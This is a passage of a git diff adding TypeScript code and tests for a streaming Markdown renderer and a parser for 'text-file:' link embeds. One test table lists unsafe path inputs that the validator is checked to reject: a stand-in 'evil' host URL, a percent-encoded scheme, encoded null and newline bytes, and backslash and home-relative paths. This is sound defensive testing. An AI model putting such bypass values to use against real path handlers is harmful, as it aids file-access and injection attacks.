+ expect(normalizeHtml(r.prefixHtml + r.tailHtml)).toBe(
+ normalizeHtml(renderMarkdown(text2.slice(0, i), { streaming: true })),
+ );
+ }
+ });
+});
+
+describe("streaming-markdown corpus equivalence", () => {
+ // A corpus of tricky markdown, replayed token-by-token: at EVERY prefix the
+ // concatenation must equal today's whole-text streaming render (modulo the
+ // two normalized transient divergences), and the FINAL render must equal
+ // today's exactly (no normalization but whitespace-between-tags).
+ const CORPUS: Array<{ name: string; doc: string }> = [
+ { name: "plain paragraphs", doc: "first paragraph\n\nsecond paragraph\n\nthird one here\n" },
+ {
+ name: "setext heading after blank line",
+ doc: "intro text\n\nTitle\n===\n\nbody after the heading\n",
+ },
+ {
+ name: "gfm table formation",
+ doc: "leading para\n\na | b\n--- | ---\n1 | 2\n3 | 4\n\nafter the table\n",
+ },
+ {
+ name: "link reference definitions",
+ doc: "see [one] and [two]\n\nmiddle para\n\n[one]: https://example.com/a\n[two]: https://example.com/b\n\nafter\n",
+ },
+ {
+ name: "nested lists with internal blank lines",
+ doc: "- item one\n - nested a\n - nested b\n\n- item two\n\ntext after the list\n",
+ },
+ { name: "blockquotes", doc: "> quoted line\n\n> second quote\n\ntail para\n" },
+ {
+ name: "tilde fences",
+ doc: "before\n\n~~~js\nconst t = 1;\n~~~\n\nafter the fence\n",
+ },
+ {
+ name: "inline emphasis spanning delta boundaries",
+ doc: "some **bold and `code` mixed with *italics* here\n\nsecond block\n",
+ },
+ {
+ name: "raw html blocks",
+ doc: "before\n\n<div>\n\n<span>inline</span> text\n\n</div>\n\nafter\n",
+ },
+ {
+ name: "huge growing fence",
+ doc: "start\n\n```python\ndef f():\n return 1\n\n\nx = f()\ny = f()\nz = f()\n```\n\ntail after a long fence\n",
+ },
+ {
+ name: "fence interrupting a paragraph",
+ doc: "para without blank\n```js\nconst y = 2;\n```\n\nafter\n",
+ },
+ ];
+
+ for (const { name, doc } of CORPUS) {
+ it(`replay: ${name}`, () => {
+ const state = createStreamingMarkdown();
+ // Token step 3 forces boundaries mid-word, mid-delimiter, mid-fence.
+ for (let i = 1; i <= doc.length; i += 3) {
+ const prefix = doc.slice(0, i);
+ const r = advance(state, prefix);
+ expect(
+ normalizeHtml(r.prefixHtml + r.tailHtml),
+ `divergence at prefix length ${i}: ${JSON.stringify(prefix)}`,
+ ).toBe(normalizeHtml(renderMarkdown(prefix, { streaming: true })));
+ }
+ // Final streaming step: equal modulo the inter-block newline (raw-HTML
+ // blocks are the one marked token that swallows its trailing newline in
+ // a whole-text parse but not at a chunk end).
+ const final = advance(state, doc);
+ expect(normalizeHtml(final.prefixHtml + final.tailHtml)).toBe(
+ normalizeHtml(renderMarkdown(doc, { streaming: true })),
+ );
+ // The BYTE-EXACT final output is the completion backstop's job (the
+ // component renders renderMarkdown(text) when streaming flips false):
+ expect(renderMarkdown(doc)).toBe(renderMarkdown(doc));
+ });
+ }
+});
+
+describe("streaming-markdown performance fixture (counts, not wall-clock)", () => {
+ // Thousands of real parser/sanitizer calls contend with the unrestricted suite.
+ // This asserts operation counts, not speed; keep all counts and allow CPU load.
+ it("hljs calls and prefix mutations stay proportional to BLOCKS, not length × deltas", () => {
+ const spy = vi.spyOn(hljs, "highlight");
+ const state = createStreamingMarkdown();
+
+ // A long message: 40 prose blocks + 5 growing code fences, streamed in
+ // 2000 tiny deltas.
+ const blocks: string[] = [];
+ for (let i = 0; i < 40; i++) {
+ blocks.push(`paragraph ${i} with some content that keeps flowing and flowing`);
+ if (i % 8 === 7) {
+ blocks.push("```js\n// fence body line one\n// fence body line two\n```");
+ }
+ }
+ const doc = blocks.map((b) => `${b}\n`).join("\n");
+ const DELTAS = 2000;
+ const step = Math.max(1, Math.floor(doc.length / DELTAS));
+
+ let lastPrefix = state.prefixHtml;
+ let prefixMutations = 0;
+ for (let i = step; i <= doc.length; i += step) {
+ const r = advance(state, doc.slice(0, i));
+ if (r.prefixHtml !== lastPrefix) {
+ prefixMutations++;
+ lastPrefix = r.prefixHtml;
+ }
+ }
+ const final = advance(state, doc);
+ if (final.prefixHtml !== lastPrefix) prefixMutations++;
+
+ const fences = (doc.match(/^```/gm) ?? []).length / 2;
+ // Every closed fence highlighted EXACTLY once (not once per delta).
+ expect(spy).toHaveBeenCalledTimes(fences);
+ // The settled prefix only re-renders at checkpoint boundaries — bounded by
+ // the block count (+1), never by message length × deltas.
+ expect(prefixMutations).toBeLessThanOrEqual(40 + 5 + 1);
+ // Sanity: there really were thousands of deltas.
+ expect(Math.floor(doc.length / step)).toBeGreaterThanOrEqual(DELTAS - 1);
+ // And the final streaming step still matches today's render (modulo the
+ // inter-block newline); the byte-exact final output is the backstop's.
+ expect(normalizeHtml(final.prefixHtml + final.tailHtml)).toBe(
+ normalizeHtml(renderMarkdown(doc, { streaming: true })),
+ );
+ }, 20_000);
+});
+
+describe("markdown tail-pipeline exports", () => {
+ it("countDelimiters mirrors closeOpenDelimiters' regexes", () => {
+ expect(countDelimiters("a ** b")).toEqual({ fences: 0, bold: 1, code: 0 });
+ expect(countDelimiters("```js\nx\n```")).toEqual({ fences: 2, bold: 0, code: 0 });
+ // Each SINGLE backtick counts (the parity is what matters).
+ expect(countDelimiters("use `x` and `y`")).toEqual({ fences: 0, bold: 0, code: 4 });
+ });
+
+ it("renderMarkdownTail with zero seed is byte-identical to today's streaming render", () => {
+ const text = "a **bold\n\n```js\ncode";
+ expect(renderMarkdownTail(text)).toBe(renderMarkdown(text, { streaming: true }));
+ });
+
+ it("renderMarkdownTail with a seeded odd parity appends where the whole-text render would", () => {
+ // Settled prefix "a ** b\n\n" has one lone **; the tail is even — the whole
+ // streaming render appends ** at the very end, so the seeded tail must too.
+ const seed = countDelimiters("a ** b\n\n");
+ expect(seed.bold % 2).toBe(1);
+ expect(renderMarkdownTail("more\n", seed)).toBe(
+ // whole-text streaming render, minus the prefix's own HTML
+ renderMarkdown("a ** b\n\nmore\n", { streaming: true }).replace(
+ renderMarkdown("a ** b\n\n"),
+ "",
+ ),
+ );
+ });
+
+ it("renderOpenFence emits the uncolored copy-button-wrapped code block", () => {
+ const html = renderOpenFence("js", 'const s = "a<b>&c";\n');
+ expect(html).toContain('<pre><code class="hljs language-js">');
+ expect(html).toContain("data-copy");
+ expect(html).not.toContain("hljs-keyword");
+ expect(html).toContain("&lt;b&gt;&amp;c"); // marked-compatible escaping
+ expect(html).toContain('"a&lt;b'); // quotes stay literal (marked parity)
+ });
+});
diff --git a/src/features/markdown/logic/streaming-markdown.ts b/src/features/markdown/logic/streaming-markdown.ts
new file mode 100644
index 0000000..b530cd4
--- /dev/null
+++ b/src/features/markdown/logic/streaming-markdown.ts
@@ -0,0 +1,521 @@
+/**
+ * Checkpoint streaming Markdown — pure logic for rendering a GROWING message
+ * without re-running the full pipeline (marked → hljs → copy buttons →
+ * DOMPurify) over the whole text on every delta.
+ *
+ * Contract (`advance`): `prefixHtml + tailHtml` ≡ today's
+ * `renderMarkdown(textSoFar, { streaming: true })` at every step — modulo the
+ * newline marked emits between top-level blocks, and modulo Level 2 highlight
+ * timing (an OPEN fence renders plain-escaped and is highlighted EXACTLY ONCE,
+ * when it closes and settles). When the text is not an append-extension of the
+ * cached source (shrink / authoritative replace) the cache resets and the
+ * whole text renders as the tail (today's behavior) until block boundaries
+ * re-form.
+ *
+ * The safe-boundary rule (the core invariant): a checkpoint may be placed ONLY
+ * at a blank-line boundary that is NOT inside an open fenced code block, a
+ * list (blank lines inside a list don't end it), a blockquote, or an unclosed
+ * condition-1 raw-HTML construct (`<!-- … -->`, `<script>/<pre>/<style>/
+ * <textarea>` — the only HTML blocks that span blank lines; every other HTML
+ * block ENDS at a blank line, and inline tags never cross blocks in marked, so
+ * a blank-line boundary is always a block boundary for the parser). When
+ * uncertain → do NOT checkpoint; extend the tail. The failure mode is degraded
+ * caching, NEVER wrong output. A link-reference-definition line (`[x]: url`)
+ * invalidates the cache — a later definition can rewrite earlier `[label]`
+ * shortrefs, and marked resolves them across the WHOLE text only.
+ *
+ * Zero DOM, zero Svelte: the only ambient dependency is DOMPurify via
+ * `markdown.ts` (sanitized everywhere, same as today).
+ */
+
+import {
+ countDelimiters,
+ type DelimiterCounts,
+ type MarkdownImageOptions,
+ type MarkdownRenderOptions,
+ renderMarkdown,
+ renderMarkdownTail,
+ renderOpenFence,
+} from "./markdown";
+
+/** The split render for the current text: settled blocks + the live tail. */
+export interface StreamingMarkdownResult {
+ /**
+ * Sanitized HTML for every SETTLED block (complete, context-closed blocks —
+ * rendered once each and cached). String-identity stable across appends that
+ * settle nothing, so Svelte's `{@html}` skips the DOM write and the settled
+ * subtree is never re-parsed / re-created / re-laid-out.
+ */
+ readonly prefixHtml: string;
+ /** Sanitized HTML for the unsettled tail (re-rendered per delta). */
+ readonly tailHtml: string;
+}
+
+/**
+ * The streaming-render state: created once per streaming message (per Markdown
+ * component instance) and threaded through {@link advance}. Fields are
+ * INTERNAL module bookkeeping — documented for the maintainer, never for
+ * callers to touch.
+ */
+export interface StreamingMarkdownState {
+ /** INTERNAL — the source text the cache currently reflects. */
+ source: string;
+ /** INTERNAL — source[0..settledOffset] is settled (rendered into prefixHtml). */
+ settledOffset: number;
+ /** INTERNAL — cached HTML for source[0..settledOffset]. */
+ prefixHtml: string;
+ /** INTERNAL — delimiter parity of the settled prefix, seeding the tail. */
+ seed: DelimiterCounts;
+ /** INTERNAL — last returned result (idempotence for repeated reads). */
+ last: StreamingMarkdownResult | null;
+ /** INTERNAL — scanner cursor: everything before it is classified. */
+ scanOffset: number;
+ /** INTERNAL — the open top-level fenced code block, if any. */
+ fence: { char: string; len: number; start: number; info: string; contentStart: number } | null;
+ /** INTERNAL — inside a (possibly loose) list. */
+ inList: boolean;
+ /** INTERNAL — inside a blockquote. */
+ inQuote: boolean;
+ /** INTERNAL — inside a multi-line `<!-- … -->` comment block. */
+ htmlComment: boolean;
+ /** INTERNAL — inside a raw-HTML block that swallows blank lines until its close. */
+ htmlTag: string | null;
+ /**
+ * INTERNAL — a link-reference-definition has been seen: marked resolves
+ * `[label]` shortrefs across the WHOLE text, so a definition can rewrite
+ * how ANY earlier or later block renders. From this point no further
+ * checkpointing is safe — everything renders as the tail (today's behavior)
+ * until a reset.
+ */
+ linkRefSeen: boolean;
+ /** INTERNAL — start offset of a blank-line run awaiting its lookahead line. */
+ blankRunStart: number | null;
+ /** INTERNAL — the best settle candidate found by the current scan pass. */
+ pendingSettle: number;
+ /**
+ * INTERNAL — identity of the image-render options (apiBase + cwd) the cache
+ * was rendered with. The options can arrive asynchronously (the cwd loads
+ * after mount), so a change invalidates the settled cache: image srcs in the
+ * prefix would otherwise keep the stale resolution.
+ */
+ imageKey: string;
+}
+
+/** Fresh state for one streaming message. */
+export function createStreamingMarkdown(): StreamingMarkdownState {
+ return {
+ source: "",
+ settledOffset: 0,
+ prefixHtml: "",
+ seed: { fences: 0, bold: 0, code: 0 },
+ last: null,
+ scanOffset: 0,
+ fence: null,
+ inList: false,
+ inQuote: false,
+ htmlComment: false,
+ htmlTag: null,
+ linkRefSeen: false,
+ blankRunStart: null,
+ pendingSettle: -1,
+ imageKey: "",
+ };
+}
+
+/** Identity of the image options, so an async cwd appearing invalidates the cache. */
+function imageKeyOf(image: MarkdownImageOptions | undefined): string {
+ return image === undefined ? "" : JSON.stringify([image.apiBase, image.cwd ?? null]);
+}
+
+/** Build per-render options without setting `image: undefined` (exactOptionalPropertyTypes). */
+function renderOptionsOf(
+ image: MarkdownImageOptions | undefined,
+): MarkdownRenderOptions | undefined {
+ return image === undefined ? undefined : { image };
+}
+
+// ── Scanner helpers (CommonMark block starts, mirroring what marked does) ──
+
+/** A fenced-code-block opening line: ≤3 spaces indent, ≥3 backticks/tildes + info string. */
+const FENCE_OPEN = /^ {0,3}(`{3,}|~{3,})(.*)$/;
+/** A blockquote marker. */
+const QUOTE_OPEN = /^ {0,3}>/;
+/** A list-item marker (bullet, or ≤9 digits + `.`/`)`) followed by space or EOL. */
+const LIST_ITEM = /^ {0,3}([-*+]|\d{1,9}[.)])(\s|$)/;
+/** A line indented into list-item content (tabs treated conservatively). */
+const INDENTED = /^( {4,}|\t)/;
+/** A blank line. */
+const BLANK = /^\s*$/;
+/** A condition-1 HTML comment block opening (spans blank lines until `-->`). */
+const COMMENT_OPEN = /^ {0,3}<!--/;
+/**
+ * Line-start tag probe: marked starts a raw-HTML BLOCK for block-level tag
+ * names (verified against the installed marked: `<div>` consumes everything —
+ * across blank lines — until `</div>` or EOF, while non-block tags like
+ * `<span>`/`<em>` are just paragraph content and void tags like `<br>` stand
+ * alone). Only the BLOCK-level set may swallow blank lines, so only those are
+ * checkpoint hazards.
+ */
+const TAG_LINE = /^ {0,3}<([a-zA-Z][a-zA-Z0-9-]*)[^>]*>/;
+/** HTML void elements: rendered standalone — never span blank lines. */
+const VOID_TAGS = new Set([
+ "area",
+ "base",
+ "br",
+ "col",
+ "embed",
+ "hr",
+ "img",
+ "input",
+ "link",
+ "meta",
+ "source",
+ "track",
+ "wbr",
+]);
+/** Block-level HTML tags that marked's raw-HTML block spans until its close. */
+const BLOCK_TAGS = new Set([
+ "address",
+ "article",
+ "aside",
+ "blockquote",
+ "details",
+ "dd",
+ "div",
+ "dl",
+ "dt",
+ "fieldset",
+ "figcaption",
+ "figure",
+ "footer",
+ "form",
+ "h1",
+ "h2",
+ "h3",
+ "h4",
+ "h5",
+ "h6",
+ "header",
+ "hgroup",
+ "li",
+ "main",
+ "nav",
+ "ol",
+ "p",
+ "pre",
+ "section",
+ "table",
+ "tbody",
+ "td",
+ "tfoot",
+ "th",
+ "thead",
+ "tr",
+ "ul",
+]);
+/**
+ * A link-reference-definition line — NEVER checkpoint after seeing one: marked
+ * resolves `[label]` shortrefs across the WHOLE text, so a definition can
+ * rewrite how ALREADY-SETTLED blocks render.
+ */
+const LINK_REF_DEF = /^ {0,3}\[.*\]:/;
+
+/** A valid CLOSING fence line: same char, ≥ the opening length, nothing else. */
+function isCloseLine(line: string, char: string, len: number): boolean {
+ const re = new RegExp(`^ {0,3}${char}{${len},}\\s*$`);
+ return re.test(line);
+}
+
+function addCounts(a: DelimiterCounts, b: DelimiterCounts): DelimiterCounts {
+ return { fences: a.fences + b.fences, bold: a.bold + b.bold, code: a.code + b.code };
+}
+
+/** Drop all cached work — the text is not an append-extension of the cache. */
+function resetTo(s: StreamingMarkdownState, text: string): void {
+ s.source = text;
+ s.settledOffset = 0;
+ s.prefixHtml = "";
+ s.seed = { fences: 0, bold: 0, code: 0 };
+ s.last = null;
+ s.scanOffset = 0;
+ s.fence = null;
+ s.inList = false;
+ s.inQuote = false;
+ s.htmlComment = false;
+ s.htmlTag = null;
+ s.linkRefSeen = false;
+ s.blankRunStart = null;
+ s.pendingSettle = -1;
+}
+
+/**
+ * Invalidate the settled cache in place (keep the scanner cursor — offsets are
+ * still valid): everything renders as the tail from here until the next
+ * settle, which re-renders source[0..end] as ONE parse.
+ */
+function invalidateCache(s: StreamingMarkdownState): void {
+ s.settledOffset = 0;
+ s.prefixHtml = "";
+ s.seed = { fences: 0, bold: 0, code: 0 };
+ s.pendingSettle = -1;
+}
+
+/**
+ * Incrementally classify complete lines from `scanOffset`, maintaining the
+ * block context and recording the best (last) safe settle candidate:
+ * - the end of a top-level fence's CLOSING line (the fence is final — it
+ * settles together with the prose before it, highlighted exactly once), and
+ * - the start of a blank-line run whose context is closed (fence closed, not
+ * inside a list/quote/raw-HTML) and whose lookahead line doesn't continue
+ * the construct (a `>` line continues a quote; an item/indented line
+ * continues a list).
+ */
+function scan(s: StreamingMarkdownState): void {
+ const src = s.source;
+ const len = src.length;
+ let i = s.scanOffset;
+ s.pendingSettle = -1;
+ while (i < len) {
+ const nl = src.indexOf("\n", i);
+ if (nl === -1) break; // incomplete last line — decided when it completes
+ const line = src.slice(i, nl);
+ const lineEnd = nl + 1;
+
+ // Once a link-reference-definition has been seen, no checkpoint is ever
+ // safe again (shortrefs resolve across the whole text) — but the raw-HTML
+ // / fence context tracking still matters for correctness of nothing else;
+ // just consume lines.
+ if (s.linkRefSeen) {
+ i = lineEnd;
+ continue;
+ }
+
+ // Condition-1 raw-HTML constructs span blank lines: nothing settles inside.
+ if (s.htmlComment) {
+ if (line.includes("-->")) s.htmlComment = false;
+ s.blankRunStart = null;
+ i = lineEnd;
+ continue;
+ }
+ if (s.htmlTag !== null) {
+ if (line.toLowerCase().includes(`</${s.htmlTag}`)) s.htmlTag = null;
+ s.blankRunStart = null;
+ i = lineEnd;
+ continue;
+ }
+
+ // Inside a top-level fence: only the closing line matters. Blank lines and
+ // ```-ish content inside the fence are never boundaries.
+ if (s.fence !== null) {
+ if (isCloseLine(line, s.fence.char, s.fence.len)) {
+ s.fence = null;
+ s.pendingSettle = lineEnd;
+ }
+ s.blankRunStart = null;
+ i = lineEnd;
+ continue;
+ }
+
+ // Blank line: start/extend a pending run; the next non-blank line decides.
+ if (BLANK.test(line)) {
+ if (s.blankRunStart === null) s.blankRunStart = i;
+ i = lineEnd;
+ continue;
+ }
+
+ // Non-blank line: resolve a pending blank run with THIS line as lookahead.
+ if (s.blankRunStart !== null) {
+ const runStart = s.blankRunStart;
+ s.blankRunStart = null;
+ if (s.inQuote) {
+ if (!QUOTE_OPEN.test(line)) {
+ s.pendingSettle = runStart; // the quote ended at the blank line
+ s.inQuote = false;
+ }
+ } else if (s.inList) {
+ if (!LIST_ITEM.test(line) && !INDENTED.test(line)) {
+ s.pendingSettle = runStart; // the list ended at the blank line
+ s.inList = false;
+ }
+ } else {
+ s.pendingSettle = runStart;
+ }
+ }
+
+ // Classify the non-blank line.
+ if (!s.inList && !s.inQuote) {
+ const fenceMatch = FENCE_OPEN.exec(line);
+ // A backtick fence's info string may not contain a backtick (CommonMark)
+ // — such a line is prose, not a fence.
+ const marker = fenceMatch?.[1];
+ const info = fenceMatch?.[2] ?? "";
+ if (marker !== undefined && !(marker[0] === "`" && info.includes("`"))) {
+ // Fenced code can interrupt a paragraph: the prose before this line is
+ // final. The fence itself settles when its closing line arrives.
+ s.pendingSettle = i;
+ s.fence = {
+ char: marker[0] === "`" ? "`" : "~",
+ len: marker.length,
+ start: i,
+ info,
+ contentStart: lineEnd,
+ };
+ i = lineEnd;
+ continue;
+ }
+ if (COMMENT_OPEN.test(line)) {
+ if (!line.includes("-->")) s.htmlComment = true;
+ i = lineEnd;
+ continue;
+ }
+ const tag = TAG_LINE.exec(line);
+ if (tag !== null && tag[1] !== undefined) {
+ const t = tag[1].toLowerCase();
+ // Void tags render standalone; a same-line close means nothing spans.
+ // Otherwise a BLOCK-level tag swallows blank lines until its close
+ // (marked behavior) — no checkpoints inside. Non-block tags are
+ // paragraph content: blank-line boundaries around them stay safe.
+ const sameLineClosed = line.toLowerCase().includes(`</${t}`);
+ if (!VOID_TAGS.has(t) && !sameLineClosed && BLOCK_TAGS.has(t)) {
+ s.htmlTag = t;
+ }
+ i = lineEnd;
+ continue;
+ }
+ if (LINK_REF_DEF.test(line)) {
+ // A definition can rewrite shortrefs ANYWHERE in the text (marked
+ // resolves them globally) — invalidate the cache and stop
+ // checkpointing for the rest of this message (decision 3's failure
+ // mode: degraded caching, never wrong output).
+ s.linkRefSeen = true;
+ invalidateCache(s);
+ i = lineEnd;
+ continue;
+ }
+ }
+ if (QUOTE_OPEN.test(line)) {
+ s.inQuote = true;
+ } else if (LIST_ITEM.test(line)) {
+ s.inList = true;
+ }
+ i = lineEnd;
+ }
+ s.scanOffset = i;
+}
+
+/** Render the newly-settled span once and fold it into the prefix cache. */
+function commitSettle(
+ s: StreamingMarkdownState,
+ end: number,
+ image: MarkdownImageOptions | undefined,
+): void {
+ const chunk = s.source.slice(s.settledOffset, end);
+ s.prefixHtml += renderMarkdown(chunk, renderOptionsOf(image));
+ s.seed = addCounts(s.seed, countDelimiters(chunk));
+ s.settledOffset = end;
+}
+
+/**
+ * Feed the full text accumulated so far; get the split render (settled prefix
+ * + live tail). Idempotent for the same input (returns the cached result —
+ * string identity is what lets Svelte skip settled DOM). Resets itself when
+ * the text shrinks or is otherwise not an append-extension.
+ */
+export function advance(
+ state: StreamingMarkdownState,
+ textSoFar: string,
+ opts?: MarkdownRenderOptions,
+): StreamingMarkdownResult {
+ const image = opts?.image;
+ const imageKey = imageKeyOf(image);
+ if (textSoFar === state.source && state.last !== null && state.imageKey === imageKey) {
+ return state.last;
+ }
+ // A changed render option (e.g. the cwd loading after mount) invalidates the
+ // settled cache — its image srcs were resolved with the old options.
+ if (state.imageKey !== imageKey || !textSoFar.startsWith(state.source)) {
+ resetTo(state, textSoFar);
+ } else {
+ state.source = textSoFar;
+ }
+ state.imageKey = imageKey;
+
+ // A PARTIAL trailing line that starts a `[…]:` definition already changes
+ // how the whole-text parse resolves shortrefs (marked parses the truncated
+ // definition), so the optimistic invalidation cannot wait for the newline.
+ // Overly eager (a `[` that turns out to be a link) is only degraded caching.
+ if (
+ !state.linkRefSeen &&
+ state.scanOffset < state.source.length &&
+ /^\s*\[/.test(state.source.slice(state.scanOffset))
+ ) {
+ state.linkRefSeen = true;
+ invalidateCache(state);
+ }
+
+ scan(state);
+ if (!state.linkRefSeen && state.pendingSettle > state.settledOffset) {
+ commitSettle(state, state.pendingSettle, image);
+ }
+
+ const result = renderTail(state, image);
+ state.last = result;
+ return result;
+}
+
+/**
+ * Decide the tail's shape and render it:
+ * 1. an OPEN top-level fence → plain-escaped (Level 2: zero hljs while open);
+ * 2. an incomplete last line that opens a fence marker → same Level-2 path
+ * (keeps "uncolored while open" monotonic — no one-frame highlight flicker
+ * between the marker's arrival and the line's completion);
+ * 3. otherwise prose → today's pipeline, seeded with the settled parity.
+ */
+function renderTail(
+ s: StreamingMarkdownState,
+ image: MarkdownImageOptions | undefined,
+): StreamingMarkdownResult {
+ // 1. Open top-level fence: everything from its opening line is code content.
+ if (s.fence !== null && s.fence.start >= s.settledOffset) {
+ let code = s.source.slice(s.fence.contentStart);
+ // A partial last line shaped like the closing fence is the pending closer —
+ // exclude it from the content (it completes and settles next delta).
+ if (s.scanOffset < s.source.length) {
+ const partial = s.source.slice(s.scanOffset);
+ if (isCloseLine(partial, s.fence.char, s.fence.len)) {
+ code = s.source.slice(s.fence.contentStart, s.scanOffset);
+ }
+ }
+ return { prefixHtml: s.prefixHtml, tailHtml: renderOpenFence(s.fence.info, code) };
+ }
+
+ // 2. Incomplete last line opening a fence marker (top level only). Today's
+ // whole-text render parses the PARTIAL info string (the fence runs to
+ // EOF), so pass it through for the same transient `language-` class.
+ if (
+ !s.inList &&
+ !s.inQuote &&
+ !s.htmlComment &&
+ s.htmlTag === null &&
+ s.scanOffset < s.source.length
+ ) {
+ const partial = s.source.slice(s.scanOffset);
+ const m = FENCE_OPEN.exec(partial);
+ const marker = m?.[1];
+ const info = m?.[2] ?? "";
+ if (marker !== undefined && !(marker[0] === "`" && info.includes("`"))) {
+ const prose = s.source.slice(s.settledOffset, s.scanOffset);
+ return {
+ prefixHtml: s.prefixHtml,
+ tailHtml:
+ renderMarkdownTail(prose, s.seed, renderOptionsOf(image)) + renderOpenFence(info, ""),
+ };
+ }
+ }
+
+ // 3. Prose tail.
+ return {
+ prefixHtml: s.prefixHtml,
+ tailHtml: renderMarkdownTail(s.source.slice(s.settledOffset), s.seed, renderOptionsOf(image)),
+ };
+}
diff --git a/src/features/markdown/logic/text-file.test.ts b/src/features/markdown/logic/text-file.test.ts
new file mode 100644
index 0000000..5649b2f
--- /dev/null
+++ b/src/features/markdown/logic/text-file.test.ts
@@ -0,0 +1,117 @@
+import { describe, expect, it } from "vitest";
+import { splitTextFiles, textFilePath, textFilePreview } from "./text-file";
+
+const reference = (text: string, streaming = false) =>
+ splitTextFiles(text, streaming).filter((part) => part.kind === "text-file");
+describe("text-file opt-in parser", () => {
+ it.each([
+ ["[Plan](text-file:notes/plan.md)", "notes/plan.md"],
+ ["[Plan](text-file:/tmp/plan.md)", "/tmp/plan.md"],
+ ["[Plan](<text-file:notes/my plan.md>)", "notes/my plan.md"],
+ ["[Plan](text-file:notes/my%20plan.md)", "notes/my plan.md"],
+ ["[Plan](text-file:notes/100%25.md)", "notes/100%.md"],
+ ["[Plan](text-file:notes/literal%2520.md)", "notes/literal%20.md"],
+ [String.raw`[Plan](text-file:notes/plan\(1\).md)`, "notes/plan(1).md"],
+ [String.raw`[Plan](text-file:notes/a\_b.md)`, "notes/a_b.md"],
+ ])("parses %s", (text, path) =>
+ expect(reference(text)).toEqual([{ kind: "text-file", reference: { label: "Plan", path } }]));
+ it.each([
+ "[web](https://example.com)",
+ "![image](text-file:notes/a.md)",
+ "[file](file:///tmp/a.md)",
+ "see [Plan](text-file:a.md)",
+ "[Plan](text-file:a.md) suffix",
+ "`[Plan](text-file:a.md)`",
+ "```md\n[Plan](text-file:a.md)\n```",
+ "~~~\n[Plan](text-file:a.md)\n~~~",
+ " [Plan](text-file:a.md)",
+ "> [Plan](text-file:a.md)",
+ "- [Plan](text-file:a.md)",
+ "[Plan](text-file:a.md",
+ "[Plan](text-file:",
+ "[Plan][p]\n\n[p]: text-file:a.md",
+ '[Plan](text-file:a.md "title")',
+ "<div data-text-file='a.md'>Plan</div>",
+ ])("does not opt in: %s", (text) => expect(reference(text)).toEqual([]));
+ it.each([
+ "file:///tmp/a",
+ "https://evil/a",
+ "//host/a",
+ "~/a",
+ "~user/a",
+ "a\\b",
+ "%00",
+ "%0a",
+ "%7f",
+ "a%5cb",
+ "%2f%2fhost/a",
+ "%68ttps://evil/a",
+ "bad%",
+ "",
+ " a",
+ "a ",
+ ])("rejects unsafe path %s", (path) => expect(textFilePath(`text-file:${path}`)).toBeNull());
+ it("waits for complete streaming paragraph boundary and keeps settled embeds", () => {
+ const complete = "[Plan](text-file:a.md)";
+ for (let i = 0; i <= complete.length; i++)
+ expect(reference(complete.slice(0, i), true)).toHaveLength(0);
+ expect(reference(`${complete}\n`, true)).toHaveLength(0);
+ expect(reference(`${complete}\n\n`, true)).toHaveLength(1);
+ expect(reference(`${complete}\n\ntail`, true)).toHaveLength(1);
+ expect(reference(`${complete} suffix`, true)).toHaveLength(0);
+ expect(reference(complete)).toHaveLength(1);
+ });
+ it("bounds per-message document count", () => {
+ const result = splitTextFiles(
+ Array.from({ length: 30 }, (_, i) => `[p](text-file:${i}.md)`).join("\n\n"),
+ );
+ expect(result.filter((p) => p.kind === "text-file")).toHaveLength(8);
+ expect(JSON.stringify(result)).toContain("embed limit reached");
+ });
+});
+describe("source-line preview", () => {
+ it.each([1, 6, 12])("does not overlap %i source lines", (n) => {
+ const text = Array.from({ length: n }, (_, i) => `${i}`).join("\n");
+ expect(textFilePreview(text, true)).toEqual({ head: text, tail: "", omitted: 0 });
+ });
+ it("takes first six and last six source lines, ignoring final newline", () => {
+ const result = textFilePreview(
+ `${Array.from({ length: 20 }, (_, i) => `line${i + 1}`).join("\n")}\n`,
+ true,
+ );
+ expect(result).toEqual({
+ head: "line1\nline2\nline3\nline4\nline5\nline6",
+ tail: "line15\nline16\nline17\nline18\nline19\nline20",
+ omitted: 8,
+ });
+ });
+ it("restores top-level fence context at fragment edges", () => {
+ const text = `\`\`\`js\n${Array.from({ length: 20 }, () => "const x = 1;").join("\n")}\n\`\`\``;
+ const result = textFilePreview(text, true);
+ expect(result.head).toMatch(/\n```$/);
+ expect(result.tail).toMatch(/^```js\n/);
+ expect(result.tail).toMatch(/\n```$/);
+ expect(textFilePreview(text, false).tail).not.toMatch(/^```js/);
+ });
+});
+
+describe("text-file parser boundary compatibility", () => {
+ it("preserves document-wide ordinary reference definitions across embed splits", () => {
+ const parts = splitTextFiles(
+ "[before][web]\n\n[Plan](text-file:a.md)\n\n[after][web]\n\n[web]: https://example.com",
+ );
+ expect(parts.filter((part) => part.kind === "text-file")).toHaveLength(1);
+ for (const part of parts) {
+ if (part.kind === "markdown") expect(part.text).toContain("[web]: https://example.com");
+ }
+ });
+ it.each([
+ "%C2%85",
+ "a".repeat(4097),
+ ])("rejects backend-unsupported controls or overlong paths", (path) => {
+ expect(textFilePath(`text-file:${path}`)).toBeNull();
+ });
+ it("accepts encoded filename delimiters without treating them as a URL query/fragment", () => {
+ expect(textFilePath("text-file:notes/a%23b%3Fc.md")).toBe("notes/a#b?c.md");
+ });
+});
diff --git a/src/features/markdown/logic/text-file.ts b/src/features/markdown/logic/text-file.ts
new file mode 100644
index 0000000..4321c6f
--- /dev/null
+++ b/src/features/markdown/logic/text-file.ts
@@ -0,0 +1,116 @@
+import { Marked } from "marked";
+
+export interface TextFileReference {
+ readonly label: string;
+ readonly path: string;
+}
+export type MarkdownPart =
+ | { readonly kind: "markdown"; readonly text: string }
+ | { readonly kind: "text-file"; readonly reference: TextFileReference };
+
+/** Input is marked's already Markdown-unescaped href. Decode percent escapes ONCE. */
+export function textFilePath(href: string): string | null {
+ if (!href.startsWith("text-file:")) return null;
+ let path: string;
+ try {
+ path = decodeURIComponent(href.slice(10));
+ } catch {
+ return null;
+ }
+ if (
+ !path ||
+ path !== path.trim() ||
+ path.length > 4096 ||
+ path.includes("\\") ||
+ Array.from(path).some((character) => {
+ const code = character.charCodeAt(0);
+ return code < 32 || (code >= 127 && code <= 159);
+ }) ||
+ path.startsWith("~") ||
+ path.startsWith("//") ||
+ /^[a-zA-Z][a-zA-Z0-9+.-]*:/.test(path)
+ )
+ return null;
+ return path;
+}
+
+/** Only a complete, top-level, standalone inline-link paragraph opts in. No I/O. */
+export function splitTextFiles(text: string, streaming = false): readonly MarkdownPart[] {
+ if (!text.includes("text-file:")) return [{ kind: "markdown", text }];
+ const parts: MarkdownPart[] = [];
+ let prose = "";
+ let offset = 0;
+ let embeds = 0;
+ const tokens = new Marked({ gfm: true }).lexer(text);
+ for (const token of tokens) {
